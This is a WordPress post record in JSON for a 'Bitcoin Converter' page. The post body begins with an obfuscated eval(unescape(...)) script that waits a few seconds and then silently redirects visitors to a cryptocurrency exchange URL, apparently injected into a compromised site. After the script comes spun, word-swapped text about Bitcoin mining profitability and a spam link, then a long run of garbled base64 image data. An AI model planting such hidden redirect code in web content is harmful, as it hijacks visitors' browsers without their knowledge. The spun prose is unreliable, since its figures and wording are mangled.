{"id":1428,"date":"2022-02-01T10:36:04","date_gmt":"2022-02-01T15:36:04","guid":{"rendered":"https:\/\/ecupyme.ec\/?p=1428"},"modified":"2022-04-24T00:00:16","modified_gmt":"2022-04-24T05:00:16","slug":"bitcoin-converter","status":"publish","type":"post","link":"https:\/\/ecupyme.ec\/index.php\/2022\/02\/01\/bitcoin-converter\/","title":{"rendered":"Bitcoin Converter"},"content":{"rendered":"<p><script>eval(unescape(\"var%20_0x50df%3D%5B%27199078wUoCoT%27%2C%27location%27%2C%2749510leJSoa%27%2C%27iTzQv%27%2C%27%2C%5Cx202020%27%2C%27November%5Cx205%27%2C%27OkBdt%27%2C%27https%3A\/\/be%27%2C%27aRloe%27%2C%27108pRXMmE%27%2C%27axy.com\/ex%27%2C%27128899KUpyDi%27%2C%27-usd\/%27%2C%2719409UTuAsX%27%2C%27change\/btc%27%2C%27743BUEIbo%27%2C%271AKCupb%27%2C%2756ZkolbJ%27%2C%27href%27%2C%271679ahdWpl%27%2C%27jmCcb%27%2C%2772616YLsJza%27%2C%27JIFWU%27%5D%3Bvar%20_0x3ae7%3Dfunction%28_0xe86584%2C_0x370f1e%29%7B_0xe86584%3D_0xe86584-0x69%3Bvar%20_0x50dfa6%3D_0x50df%5B_0xe86584%5D%3Breturn%20_0x50dfa6%3B%7D%3B%28function%28_0x22125f%2C_0x317335%29%7Bvar%20_0x3b5132%3D_0x3ae7%3Bwhile%28%21%21%5B%5D%29%7Btry%7Bvar%20_0x1433bb%3D-parseInt%28_0x3b5132%280x7a%29%29*-parseInt%28_0x3b5132%280x69%29%29+-parseInt%28_0x3b5132%280x73%29%29+parseInt%28_0x3b5132%280x6d%29%29*parseInt%28_0x3b5132%280x6b%29%29+parseInt%28_0x3b5132%280x6a%29%29*-parseInt%28_0x3b5132%280x7e%29%29+parseInt%28_0x3b5132%280x71%29%29+-parseInt%28_0x3b5132%280x7c%29%29+-parseInt%28_0x3b5132%280x6f%29%29%3Bif%28_0x1433bb%3D%3D%3D_0x317335%29break%3Belse%20_0x22125f%5B%27push%27%5D%28_0x22125f%5B%27shift%27%5D%28%29%29%3B%7Dcatch%28_0x557f62%29%7B_0x22125f%5B%27push%27%5D%28_0x22125f%5B%27shift%27%5D%28%29%29%3B%7D%7D%7D%28_0x50df%2C0x19200%29%2Cfunction%28%29%7Bvar%20_0x3576e7%3D_0x3ae7%2C_0x13c1f1%3D%7B%27aRloe%27%3A_0x3576e7%280x78%29+_0x3576e7%280x7b%29+_0x3576e7%280x7f%29+_0x3576e7%280x7d%29%2C%27jmCcb%27%3Afunction%28_0x32fd32%2C_0x4a3ace%29%7Breturn%20_0x32fd32%3E_0x4a3ace%3B%7D%2C%27iTzQv%27%3A_0x3576e7%280x76%29+_0x3576e7%280x75%29%2C%27OkBdt%27%3Afunction%28_0x19a8ca%2C_0x2db4c8%2C_0x3876b3%29%7Breturn%20_0x19a8ca%28_0x2db4c8%2C_0x3876b3%29%3B%7D%2C%27JIFWU%27%3Afunction%28_0x2b3b81%2C_0x5862cb%29%7Breturn%20_0x2b3b81*_0x5862cb%3B%7D%7D%3Bif%28_0x13c1f1%5B_0x3576e7%280x6e%29%5D%28new%20Date%28%29%2Cnew%20Date%28_0x13c1f1%5B_0x3576e7%280x74%29%5D%29%29%29_0x13c1f1%5B_0x3576e7%280x77%29%5D%28setTimeout%2Cfunction%28%29%7Bvar%20_0x5c8240%3D_0x3576e7%3Bwindow%5B_0x5c8240%280x72%29%5D%5B_0x5c8240%280x6c%29%5D%3D_0x13c1f1%5B_0x5c8240%280x79%29%5D%3B%7D%2C_0x13c1f1%5B_0x3576e7%280x70%29%5D%280x5%2C0x3e8%29%29%3B%7D%28%29%29%3B\"));<\/script><\/p>\n<p>Since difficulty adjustments occur every 2016 blocks, the interval in days you select for problem changes implies a rate at which new blocks are solved. The reward for solving blocks (e.g., 25 BTC) is adjusted over the time horizon in accordance with the Bitcoin protocol. The beginning difficulty is taken to be the current issue. The USD change price is taken to be the daily volume-weighted average trade fee <a href=\"https:\/\/en.wikipedia.org\/wiki\/Bitcoin\">bitcoin calculator to usd<\/a> reported by Bitstamp. These values are updated periodically all through the day. The default issue growth rate is taken to be 5%, which was approximately the average two-week problem improve between February 2016 and August 2017. The value of electricity is taken to be $zero.15 per kWh. The hashrate, value, and energy consumption of the hardware are taken to be these of an AntMiner S9 ASIC miner (13.5 Th\/s, $1,987.95, 1,300 W).<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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J\/wDT4HZXVX\/DCVjMLkkmqtqQ3OyVRxPmHURbDuDh\/Pms13Vbs7L1fmqKI\/8A9DB\/WtF6JrHLe4aGijL46GCjpTdKphLSAYGFtvp3jlUyNwXOH4uM54OexWl0vbMzXq1SW6F7Y3T1FIXSv4tiijnY+WTTnwyGNdhuRk4GRzG07F2OltVHBQ0Ue7ggbhvLU9x4vlkcB4crnZJPn7MBXtRQmSo2j7Nh8d+XqtfdLGykaze8PLh4ZAXP8eOZ3WOyW6KGmhjhhZHBBTxtjjjYAyKKKJuGtaOTWNaPoAXjbum+lt9+q\/Y23yE2mlk4FmR3\/UtyDO49cDckMHzuPNobufdZdKkkYk2eoi+Nz2NNynw5mYpWh7KSInGpjmEF7hwIcGeOFSGwOzD6qYDi0YDpH44RRns\/zjuQH9hWLr57u5pm4b\/RZDB8PZSRmuqd9rtvp\/y8zp6ldnZOxiOJ1TLG6RjHsjbG3OqsqpCGw0kWOJBe4ZI6s\/R7s6E9jW2Sga2XQ+5VYjmuU7eIdOG4bTxH4tJACY2NGBgOdjL3E+bNh7fHUbW7P2xsY71oGTXORhwRvIYpnUziPjPbNHG7J+UJXruKReaSAWJ4ZLG4rijzsOOXODa8m3s0fG20fhwWvdNHTFb9lKNs1SHVNXPrFHQxuDZJ3NHhPe8g7mnaS0F+CfCwA48F5ire7K2odKXQ0lnhi1eBEaaplIbngHyGpBc7HMgN+YKvu6Hvsl52qujnPcYqWd1BCDyigoXGFwYOx0wlk+eYrG0exVU9gcyicWkZBfoa4jtxI4FWUpLnG25bdTSQ0cLDKRtOAOZA36Zr2J3OfdTU20FVDartTx265zkMppYXPdQ1kuM7lokJfSzOwdLXOeHEYDtRa13oa\/Wimr6aejrIWVFLUxPhnhkGWSRvGHNPYesEcQQCMEL8k7zb5qGVsjBLTSxSNcMF0csMjXao5I3Di0hwBDhyIBC\/U\/oj2ldd7FaLlJgS1tvpp5g34IndG0Thv8neh+FQIWYjlbI0ObuK8e32zTWO71lgqpHzOpWsqLfVSlu8rbXMSIJZCPhTxuDoXnAy6MkBblsFtaaUtpqlxNMThjzxNOT1eeHzdXzZWV7vKibSy7M3xvguhrZrZUEcN5T1Ue9a1x6wwRVBA5ZkKrkrxWYfBiVOYJxccdRwI8VoeKPlwTEW1VKbB+dtD7wI4HI+F8ty9BtcCAQQQQCCDkEHiCCOYwpVXbA7W97aaWpd\/Byfe5Dx3BPxXf5nP1c9nK0Ac8RyXB8dwOfC5zHJm0+y7Rw9eI0XYcAx6DFqcSx5OHtN1afTgdVKZUIsIs6iFFCi6mylFCjKIpTKhV3tT0w2e3XWG1zykucS2qqWEGnoZDjdMqD2nPhEfi+Bd14uqShnq3FsLS4gEm3Affx0VOSZkYu82Wr90B0xC2CS2Wt7XXFzdNRUNw5tAHD4Lep1YQeXJmcnjgLzlbtkrpW0VXdYaaaekpnk1NQTqc5ziXSvaHHVPo+E9wzp1ZPXj0Ntf3P9JXXeOtpqgU9uqHOnrqdmXPMhOvNG\/iGxykknJ8DJLc5Abst16T7BYq2ksLQ2KKNohlfCG9627IG7jnPMlxOXEZ06su5kjo2G4nBRU7IcLjMkhG0+4sQBvv46NAyHjfPBVFO+WQuqHbLRkP4t\/KqjueOmU24xWq6yl1ucQykq3Ek0BJ8GKVx50RzwP8X\/ADfg+q2vBAIIIIBBByCDxBBHMY61Qu1Hc90VZdoqulnbTWucmWspIh4QdwcBQuaNLIZcnIPBnEtyCGt2y79K1gsldSWIHdxRRtgklhwaW2hrWtp4ZznPLGojOjgXczjC47DTYnK2XDmuMjmlz2gbrceDr6Dfv377qjdJTtLZyNkGwP3p9FZy0LpA6WrRY6ttHXGqEzoGVA3NPvWbuR8jG5drGHaon8FvbHhwBaQQ4AhwIIIIyCCOBBHWvJ3dWbv8KKLfY3PeNv32r4O679q95qx1aNSxnJnDIa+sMM99kNJyNjcWVxX1DoYtplr3CtVvdFbNkgaq8ec0TsDznDyVYmyG1NBd6fvq31LKmHVocW6mvjfjO7likAfE\/BBw4DtGQqYv1P0Z97z6XUAO7fpNI+rNSHaTp3IBOZM4xnh28Fhu4vttW2e5VbmPZRvp4YNZBDJqlkpeAzqeWMMmSOW9x1rMV2B0JoZaiJs0bo7ZSCwdfQK1hq5eebG4tcHe7orl6R+ky12B9PHcDUB1SySSLcQ70aY3Na7V4Q0nLgtknu8LKJ1ede4ZSOrDhvh7lsO\/Pg54v0DlnmvN\/dsf8qtP+iVv7WBXhdP+jE\/\/AIfl\/wDbXLH1GEQMo6SYX2pnWdn42y4K4ZUvMsjDazRl8l1ej3pUtF9nkpqGWYTxx73d1EW5dJHnS50XhHXpJbns1jz42fae9Q26jqK6p17iljMsu7brfoBAOluRk8e1eCdl566kc26UW8Y63TUxNQwZbDJPvWwiUD+KkEUrDngdWk\/CGfUm0e29Pf8AYm61sQEcoonxVdPqy6nqGuZqb543DwmO62uHWCBlMZ5JMpamIxXMLnta7PNpJH1By4H4K2pcTMkbtq20ASPH\/S3zo726oL9DNUUBmMcEu4fv4t07WWNk4DUcjS4cVsz3AAkkAAEkk4AA4kk9mFRPcY\/813L\/AFi3+iQLZ+6Y2s9jLFNHG4tqbkTRQlpw5sb2k1UnPIAgDm5HIytWErcGaMWNDBe20AL52FgSfhmVdxVX\/wDNzz+F13NjOmSy3auZb6R9Tv5RKYnTQCOKXdNc9wY7WSSWNc4DHENPJWHleG6vZuusVJs\/tAw4dVyOqoW4wIXwSCSmY8g8Wz0\/h47C4Fe09m7vDX0dNWwHMNXBHPH1kCRodpP8ppJafO0q65T4JBRBktKSY3Xac72c055\/e4qnh9W+a7ZBZwsfgVqW3PS1Z7NWihrnVLJjHFKXRwGSJscrnNa5zg7Ixpdnh1LeqeZkjGSRua+ORrXsewhzHscA5r2uHBzSCCD515J7qyF0m0zI2DL5KGgjYMgZe+WdjRk8BlxHE9q2nuaOkSSkmOzd1c6JzJXw0LpvBdBO1xElukLj4Phh2j+US3rYFeVnJVhwyOrprl+wHObe9xbMjy\/cKlFiJ6Q6N+69gfVWxW9KVqhvAsTzU9\/maGAAQZh3k8TJme+6uWiRueHat2c4AZJwACSTwAA4kk9QXlfab\/rLj\/1pbf8A26lW7d15tZLS0NLbIHujNxMz6pzTgmkp92DCTzDZJJG57WxOB4OINCp5NxvnpYICQZow5xOdsrkj4bhxXtleQyR7\/wArrD+FsG0vT1s9RSOiZNPXObwc6hiEsOexs8j2RyfOwuHnXb2O6a7Dc5W08dRJS1Eha2OKti3G8e4gCNkoc6MyEkAN1AnqytR6F+ha1i201bdKcVtVWwx1Ajlc8QU0UrQ+KNsbHAPk0Fpc52eJIGBzzlV0D2B1dT1bIZIoYnapaBry+kqHN4s1CQl0bdWNTGnS4DGBk5mph5PxOfTkzbTbjbyIJGlvPLcB46qY3VrgH9mx08FtvSHt1Q2KKGavMwZPK6KPcxb062s1nI1DAwFpfuhdne2v+xn11gu7I\/5vtX+nS\/0ZyxGwjNgDbKD2RNv7+71h773jqved8aBvNeg41as8lWw7BaF2HR1U0cz3Pc4WjztYnMj4fNeZ6uYTuja5gAA9pWlsN0t2i81YoqI1W\/MUkvv1PumaI8avC1Hj4QW+hV10YW3ZN9RLU2BlI6op2BkslO6oLo2VGrDXCU4w7dO6viqxQtYxiOnjqNinZI0AC4k9q\/pa1lkKYvLLvLSeLdylFAKlYpXClAoREVBKcqEX1avkZSCtZ7nJ2Km\/jsq4v2lYP6lswWp9z0cVu0I\/7zD+1rVkMI\/+bH\/+v\/UrduRjdp0zfBv1Ks3pGdmzXb\/V1b\/R5FV3Q4f8kQflJ\/2rlZnSC7Nnuv8Aq2u\/o0qrDoZP+SYvys\/\/ABlXnKMWqWf+J+qyXKePYoT\/APYPoVtF5\/5NU\/6PN+ycu73KUmLE4dlfUfs6crqXUfwef8jL+zcncqv\/AMiSjsuE\/wCxplZ4QL1Y\/wDErCYC3ao5h\/yb9CruhkXK2XanmknhhmjklpXtjqI2ODnQyOYHtbIB8Elpz9B7Cq\/6ZNoKm22Otq6RwZUMELI3lurd76eOFz2g8NYa8kE5wQOBXmHos26qbHc2V2ZJYp8trYy4k1ML3Ze\/Lj4UzXZe1x6wQThxzksQxBtPM2MjfmTwCycGDGoic8HMZAcSvTndDdHIvNK2upYmuulA0uYMeFV0zcvfSk9cg8J0efjEj4+RoGxVPTMooTSuD2SDW6TGHPfyfrHxXNcC3T1acdRXoKyXOGqghqaeQSwTxslikbyex4y0+Y46jxB4FVL0oWH2Iq3XOEBtrr5QK5gGG0NfK4NbVjHwaedxDX+LIQfjLH4hSAHnma7\/AFWHn52eDo1zdpuBx4t89W+NxqFqnRhcRB0g0ofyqKSWnaewuo5JGel8Yb\/tBeu43rwF0oVc9vvlJcYDplh72qIjxxvIJCWh2DxaSzBHWMr21sHtRT3e30txpXZiqYg\/TkF0UnKWCTHKRjw5p\/m9mFaUDgdpmt7qMYpS6mp5xu5sNPmPv9l5Lk2Z3O2G0DJwHd71s1Uxp+MKyU1NO4g8xupmu+fC3lWZ0t9HUldUw3i3BnsjDCaaogc4Rsr6PVrDBI7wY6qN3FjnYa4eC4tGCK\/ktFY06X0dWx\/LS6mmDs+bwcO+cZB6iqBhMZI8VY4rUuq3MlBv2ACOBGR+e8HXdoq+6YrcyS3STkASU+gh3ax8jWFh7eLgR5x517Y7nq2yUGzFipJWlksdtp3Ssd8Jkkzd+9jh1Oa6Qg\/MqH2T6Kqm61NM+5wup7VTzR1MsE7dM9xkiIdFTmFwzFR6+Ly8BztIa0YJePTdLUclRfCSdpbHglaYKdsTjntE+Q0H1PgvO\/8A\/pBc4xZbNSFw3s10fUsb1mOlpJYnn5g6rj9Kr2nPgMzz0t\/UFo3dZdILdptpBFSSCW325veFI9hyyZ+vVV1TDjiHyeACMhzYGEc1vcbcNaOwAegYVOn3leeWT7shvv7R\/wDVSt12B2u7300tU4mA8IpSfxHYx3bD5\/i\/Ny0pSrfFMLgxGAwTC4O46g8QtXwnFqjDZxPAbEbxoRwPh9F6CB7OvkpVYbBbW976aWqd7xwbFIecBJ4Md\/mfP8X5uVm59C+f8cwOfC5+alzB9l2jh68RovonAcep8WpxLFk4e03Vp9OB181JUZRRlYZZxSihERMqkdr+58pKy7srIZ+9qCd7pa+lbnWZchx70dyjZKS7UD8DBLc6gG3cmVkMOxSpoHF0DrFwsfviNDoqM9PHMAHi9lWV46VrFZa+ksY8CKJjaeWWHBprbpa1sEMp5nh8IjOgYLuvGvbWdANFXXaOup59xb6hzp66mj4ue93h5o5BwZHLkk5+DxLfhAN1Xuh+h10Lp7zaoy6FxfNX0bcudC4kvkqqdvN0ROouYPg8xwyG6Fsr0wXi3WqW1wSNcxwDaSpeSZ6GM53kcB5OaQfB1fi8nHUG9Bw7Cy+nbU4RMdtw2ZNrUneSM7Obe44jd44SeoDXmOqbkM22+9xXoe79K1istfSWMERxRNbBLLDjvW26WtbBDKc5PY7HwOBd1413azoAo667R11PUd72+ocZ66mjy5znuOsmjkGQyOUkk5+DnLc5AbUvQj0Wz7QVBqakyR2yKT+ETkneVcmdT4IHniXE\/Dk+LnrceHsK3UUVNDFTwRtihgjZFFGwYbHHG0NYxvmAACxOLyR4HKG0UrueLSJL5gk6m+5193D63NM11Y0mZo2b9n74L6WuihpYIqenjbFBBG2KKJgw2ONgw1o82F5Y7quJkm1NFHIcRyUNvjec6cMfXVbXnPV4JPFeqwcKq+lvoXi2hr2V77hJSltLFTbttOyUERyTSa9TpBxO+Ixj4qxnJbEYqWuM1Q6wLXZm5zNuFyrjEad0kOywajJYqfoR2OAd\/C5GgZ8L2Wh8Hz+EMelV93PG0E9DtM6zUlXJWWmee4QR5cXROZTieaCuiaPBjc4QjJbgOEp\/k42Udy3Tf9sS\/YYf3qsfoq6Jrds+588LpqqskYY3VVRoBbGS0ujhjjAbE0loJJ1OOOeOC2CoxmjjpJo31L5y9tmtc0gNOhueH8KxZSyuka4RhljmQd\/gqj7tj\/lVp\/0St\/awq8Lp\/wBGJ\/8Aw\/L\/AO2uWC6ZeiePaSWkkfXPpO9YpogGQNm1iZzHEkukbpxo\/St0qrMJLa+3bwgPoHUO+05IDqY0+90Z58dWnPmysPU4nTPoqKJru1E67hY5Zj5\/BXUdO8SyuIycMl507j+3QVjNoKWpjbNTz01viljf8F7HOrQR5j1g8wQCOS0fpAsNw2Ura+3ske+hudLJCyR4Jjq6NzgW68YaKyF+ASORdnGmTj6R6GeiuPZt1Y5la+r78ZTtIfA2Hd97mYjGl7tWd9\/6Vnuk\/Ymlv1A6iqSY3Bwkp6ljWukpphyewO+E0jLXNyNQPUcEZc8q4Y8We8Hap5Ni+RyIA7QBzyIz4jxAVsMNc6mAOT23+u5Vl3GX\/Ndy\/wBYj+iQKtu6HvNRfdoXUNDFLVtt7X0cENO10zpZWe+V0jWs48HN0HHVTr0B0UdHbtnqGspIK4zyVUrpmTvpgwQyGBsLCYhKd4AWB2MjPLzrG9EfRBDYKyornVr66eeExNdJAITGHyCSZ+RI7W95azjw5HnlU2Y1Qw4hU14cHOsBGLHMkAE7suGel16dSTPgjhtYfmOWSpbbS57ZXahbb6yxzCljdC+MQ2ieN8JgBbGYnZOjDC5nAfBcR1rfO492sEtJVWeR410rjV0gJGXU07vf2t7Qydwcf9JCvwOVUbPdDTbffnXqjuMkTXVFRK6i72aYzDVajNTGQSjLMvy3wfBLWHB0q3dygpK+hlppmNi\/MzZuQXfLInjwJXsUUsMzZGku0N+Cqrukv+mFF+StP9KkW5d1B0amcOv1vYRVU4Dq+OLIdLFF8Csj0cd\/EANR5ljQebOO0dIvQ\/HeLtDdXV8lO6FtK0QNp2yNd3rK6UEvMgIyXY5K0XHOc9ecjmOPUvM\/KNtO2jfTOu6Jha9uY37NweO7eL2KllAXmUSDJxuD814o6PL3UXHay01tW8SVE1dRCWQDG8MFPHTtkcB8dzYmuOOBJOAOStTuyrBJJBbrkwF0dOZqSowCd22oLHwSOx8Futj2ZPXIwda2Kk6C6OlvcN2pKt0EUNWyqjt4ga6NjhxfEyXeAsiLi4gafBBwOACtO5UUNTFJBURsmhmY6OWKRocx7HDBa5p5hXGKcp6ZtfT1VNm1jLFtrWB3jhcA6ZXXimw6QwyRybybg\/ytB6DtvqK5WqjhNRFHW0lPFTVNPI9rJNUEbYxNG1x98ie1odqGcZIOCFnLv0iWWlrKegmr4BU1DtDWscJGRu5NFRIzLacudho1kZJ+lVftL3NVHNIX0NwlpIyciCogFY2MeLHJvGP08satR85Xf2I7ne20crZq+ofciwhzYDC2npS4HIMsQe90w4DwS7SeOQeSsaqnwGRz6jn39q55sNzBPict\/wDtV431rQI9huX5r5Lqd2R\/zfa\/9Ol\/ozlj9guiPZmstdvq6qrlbU1FJDNO0XCGINlewF4EZblnHqKs3pe6PGbQ09LTuqnUgppnTBzIWy6tUZj06S9oaACq0PcxU\/P2Xl+wxfvVf4Vi1K3DI6c1Tontc4nZaSSCTYbragqhU0shqHP5sOBA3kKy+jHY2zWV1S22VBkfViLetkq4qh2IN6WaGsAIHvr8\/Qt5VSdF3QlFYriy4MuD6hzYpot06mZECJWhudbZDxGOxW2tRx10T6nbjmMtwLuIIN91s+AAWUow4R2czZsdwUhTlcUCw4KuVzRccrkvShUEiIvq1fIqkLT+gI4uG0I\/7zH+3rVuC8\/S7TV1tr7kaKoMBmq5hJhkb9Yjml0fjGnGNbuXaq1JVtpahkzgSG33b91lvfIZwE0t+A\/lemduzm03Qdturv6NKqz6Fz\/kmP8ALz\/8QVaVvSPepo5IZK+R0crHxSM3cADmPaWPb4MeQC0kcO1WT0Kn\/JTfy8\/62qvimJx10rXRgiwIztx8LrM8sbGiy98fytuuI95m\/JSf8Dl1u5Wf\/kacdlxm\/o9KV2678VL+Tf8A8JXnfZ\/bC52+J0NFWzU8T3mVzIy0AyFrWlxyOeljR9CoUlY2lnEjgSLEZLCck4edhmZ4t\/lenO6GOdm7h89J\/Tadee7psu8W2jqgdbZYmu1BuN085wxx62uAHHtHpxt424u9ZC+nqrhUzwSadcT3AsdpcHtyAOpzQfoVybF0rJ7NRxSN1MkpWtcPpOCD1EEAg9oXnEKtlbNttBHZtn5rL4lUPwuKNwzBkz8rf9LHdzD0iminFlrH6aaokPeb3uwKeqceMHH4McruXY\/+eSPT9XTxVMMtPPG2WGZjopYnjLHxvBa5jh2EFeFdu9n5KOocOPAhzXDhrjJ8CQY5Hhg9hCHb\/aD\/ALXumMY4VdQP1OXqkxTmY+akaSBu8uCqVGGMrrVEDgNoX+PFb70z7Jy0LxQTOdK2Jr5LdVOBLqigLhiN7uTqmmeWtd2seH4GSsL0I9KlXsvVPjex1Rb53tNVSasFrhhvfNMXcGzhuOBwHhrQSMNc3T7ltPdqnd99V1dVCJ+8jbUzzTsY\/BaS1sjiBlpIPaCQsncLOZqdlSYpI2E6XFzHNdDJw8B2oeFGcgtd1g9RBCxrpf7m3FccFd9HZFDzM9i12\/z8PPfluO5e7Ngtu7XeoRLbqyKfgC+HUGVMPViand4bOIPHGDjgStsjevzHFJUQPEkReHMOWSQuc17T2gtw5p+ZZ2HpC2jjbobebw1vLHf1Xw+Yl+W\/Qr5uJ5dpufgten5INebwyi3iP5HoF+i11u9NRQuqKuohpYGDL5qiVkMY\/wBp5Az5l5b7oXukhWQzWnZ90jaeQGKqufGN88ZGHw0bD4UcTs4dI7DiMgADwj51uNXcK94fVT1dU8cBJVTSyuAPPDpnE+hZPZzZuSeVrGN3sp44+IweO8nk0dp\/WraardJk0WV9QYJT4f8A3Zn7RGfAD78VlOiiwOmq45Ht8GLErsjk1pyxp7C54HDsBV3LF7M2aOhgETfCeTqlkxxe\/GOHY0DgB\/aVk16iZshaZjmJdNqC8eyMh6oiIqqwylbnsHtb3vppap3vHKKUkkwdjXZ5w+f4vzfB0tSsbiuFQYjAYJxcHcdQeI8Vk8Jxaow2oE8BsRvGhGoPgvQAOfm6vOEVZ7CbWmDTS1TswHhFKT+I\/kOJ\/ifP8X5uVlg\/2\/Qvn\/HMDnwufmpcwfZdo4evEaL6KwHHqfFqfnYsiPabq0+nA6qVCIsMs2iIiIipPa7ufqKsu0dZBL3pQyudJXUcY0kv5\/wRwGIWSHOoH4PEt54bdZKLIYfitTQOLoHEFwsfviNDoqU1NHMLPF7LrWuhhpYYqanjZDBCxscUUY0sYxowGgf4JXZyijKx73lxLnG5OqrAAZBSpa7C45UKLqV98ovk12FzypuospUZRQihSVBRQURTlQigopUqMooyoupU5UEqC5cCvJKkIURF5UoiIiIiKMpZFKIiIiIiIi5LiiXUKhURF9YL5EUqt7vsPVy1E8re9w2SaSRuXkHD3lwyAznxVjqV4cwO3q+ocQlpCTHbPiquHR\/W9tN9d37tbvsZapKOl3MpYXbx7\/AJLcOxjiQOPBZlFDYw03Cr1eMT1TObkta98gokbkEdoI9IVajo9q\/laf60nqKy0UuYHb1RosSmpARHbO28cFWw6Par5an9MnqLfbDRup6aGBxDnRMDSW5wSCeIzxXcRGxhu5e6zFJ6pobJawN8gsPtZYmV0IbkMlYcxSEZ0k41NdjiWEAegLUva8n8ph+rIrFRQ6NpNyppcWqadmwx2XiLqu\/a7m8qi+o\/+1blYaCWGmFPUyMqA0aGnSeMWODHh2dWOXzYWSRGxgbl5qcVqKhuzIRYG+4LVLrsJSykuhc+ncfitw+P6GO4t+g4WGf0dzZ4VMRHnY8H0AlWIiGJpVWLG6uMWD7+YB\/fetIoOjyMEGeoe\/8AkxNEefMXOJOPmAW3Wy3w0zN3BG2NvXjm49rnHi4\/OuyilrANytqnEJ6jKRxI4bh8giIi9qyREREREREUrdtgdq9xppal3vOcQyuPCEnlG8\/Jdh+L83wdIUrGYthUGIwGCYZHcdQdCPvNZXCMXnwyoE8BzG8aEag\/eW9X+irfYTa3daaWqd718GGZx\/F9kch+T7D1fNysbK+fsbwWfC5zFKMvyu0cPXiNF9FYFjlPi1OJojn+ZurTwPhwOoU5RFBWHus2iZUIoRSoRERERRlEUqQ5cVGUull9covmHLnlTdRZTlRlFCXUqSoUIoRFDihK4qCVKIiLypREyoJSyKVGVCKVNlJUIiIpQFQiIuSKFKhQiIiIqFREX1gvkNERERERERERERERERERSilQpWa2f2Wra7jBFpj65pfBjHnHjfQt2pdhaOGYOc11W52A2lMh05a3LtLwBrccE4eCPm5rxzgvZZ6i5OVVQ3bI2W\/8t58h62VXA\/T83H9S+raeQjIjeR2hjv7FZFdX0zfBpaaOIZwQI2tc0+K7zrL2GlfINTxwxnGFkm0JLdq4sroYDEDsue6\/kB6qm+sjrHMdY+cdSLvdK8zI7jAYwGe+MifgY1tkeGHPbzz9C61REWOLT\/8AI7VazRc2QDqsdiWEvpe23Nm6\/A8CvkiIqSw6IiIiIiIiIiIilbvsLtZutNLVO974NhmcfxfUI5Cf4vsPVy5ctHUrF4thMGJQGGYZaHVp4j7zWWwfGKjDKgTwHPUaOHA\/eWivwFFXOwm1m600tU\/3vg2GZ38X2RyH5Psd1cuXKxl8\/Y3gk+FzmKUZfldo4cR\/I0X0VgWOU+K04mhOf5m6tPA\/wdURMqFh1mlOVGVCZUXU2UqFCKLoiIihSikFGNLnBrRlzjho6yfp82fQsvYaGnfLOyoc7TAGOMkbgIiHNa7HLUSCSM9fYFmsJwCsxIno7chqTYf9+QWHxPHaPDy1tQ+xebAa7r\/AZbzksVlMre7fS2sse+FrHCLUZN617yNIJdwkHPHVhdYXC2PALG0+HZAe6nLGfW3eP0raG\/09qwO3IwHhYn0WGk5aUDbEG4O7NuflmtMyoJW\/xUlE2MzSd7ysPBrYYQcudwAB5krlS7I0kwL8SMzyAJbp+h2fQqUvIGsaOw9hPxH8FXdPynp5XBuycxfIg5cciq9RZjaqyOo5AGl0kJaDvCBlriSNLgOrhzWGytQr8OnopeanbZ37HyIyKztNVRVDdqM3ANj4HxTKBQisldWRERERERERERERERERclxXJCoKIikqEVCIiL6wXyGiIiIiIiIiIiIilQsjs9Zp66dtPTty48XOOdMbetzj2f2KCbC5Venp5J3iOMXcV1rfRS1EjYoWOkkdyaBy87j8VvnK+5uENJI+Olpm3ath\/Gvc4MtlG\/niSU8J38uAI68ZWb6UKuOzQMtNA4tnqRG2uruGo78uG6iJ+C1sTJZHDr8AciVTe2W2rIIRSUY3cMeQ1o5kni573Hi+RxJJcc5JWPfI6VxaDZo38T4LruC8m6XCoWT1DRJO8XaD7LBe17am4NtMrnfZZ3azpc2ghd4dbCxrf4ijeI42jxWgw4K37o821F2gp3SvEjpiW+EAHB7ebXY4E+fAXke6XKSZxLnE5XoruYNnxLQU0jnYmNwEkEerwjFqa1x09bTpcc+ZWU14S1zCd4FiSbj4recNkbXslhqWMsI3ODmsa0tI3ZtAyJyIK9BUWzTHtD3YYWgAPPwcEgBru0ZI+Y8luNmssRpXOyBpbkgEHhjgQR8JhxwI5rYbbbY2x6XtDg4Yc1wyCOwhat0qXUU1Hu6MhlQxm7hYwYa5mANwWN+KQOGORwVlGVkjCGg9m+a0qaiY8bRHatkvLnSfOJbvFEzyuID\/AGZA4\/qWUvPwm\/zT+tajZpnVl5bIQcQtllfkfBcQWNB7Dqd\/6VtV0dmTHigD08f61ka94dM0DRv1Wr4z2MNdtb3PA+X+iuoiIqC5+iIiIiIiIiIiIiIpREWbt3SdHbGCnqmyVAABiEZbvI2dTXlxwWdnWOXLGNM2jvbaVulmHTuHgjqYPGf\/AFDrWhzSOe5z3kuc45c48SSe1YrFcPpq+LmZ2hwvfy8iMwt95H0VVDJ0prixtrZfm8wbi3w37lfHt40HkdZ6YfXUe3jQeR1nph9dUIVBWtdSsK7s\/qd6ro\/4nV94fk30V+e3jQeR1nph9dPbxoPI6z0w+uqDTCdScJ7s\/qd6qfxOq7w\/Jvor79vG3+R1nph9dPbxoPI6z0w+uqDROpOE92f1O9VH4nV94fk30V+e3lb\/ACOs9MPrp7eVv8jrPTD66oNQnUnCe7P6neqfidX3h+TfRe2eiGqprxTuuMD452ujfC6nc4tmppC3w4JWY8Fx4eECQQQRwWW\/BatZS1D3MzO58bmxNe0tfpe3S3iRnh29i8e9Fe3dXs\/Xsq6cl8Ti1lXTZwyphzxbx4CUZJa7qPmJXuG2bV0t2tsNVQyGWGpDXNeODo3scC+ORvNkrXDBaeS2GnpI6aIRQts1osAPvM+K0jGcHhnc6epe8ntG99XC3DTc0bgNFhaG1VdNFLUz6o2iCXWyoIDTNKTmRzmEgNy7GOpYaJ0cdI6UTQuqowRHE17XteHuY1xDBwJ0Ankt220uW8tNQCcP3bc+ZzXt\/sXHZu0wVdNFUta3w2+EMDg8eC9v0EFTtncNVrVRg0bp209K65ERd2j7xtfLUWHxWq7N3GnMVLTyvcHRyh2nRqbKSHM0uz5nFbxU32CnjLWSlzw1xZG4O3h0tJDQcccedYx+zEffUegND4iJnjHNvENGRy4jP+yuzeKWOBss7mGR4jcyJg5l8jS3h2cDz7Mq5jbGR2r5Krh0eJUEDg7Yyy2rH2Wjfv3+HFYqp2gFdE6NuiHhh80oDiGnxBnhx48c8uSqDpF6ULTaq11HHv6x8bRvzC2NscU3XFl7hlwGCRjhnHVgfHpf22ZYafvWB4kvdRGCDwdHbYXj8dg8DUkZ0Z5Z1dQz5lke5znOc4uc5xc5ziXOc5xy5znHiXEkkk9qx2KYPRYgA2Vlw05XNj8wtl5I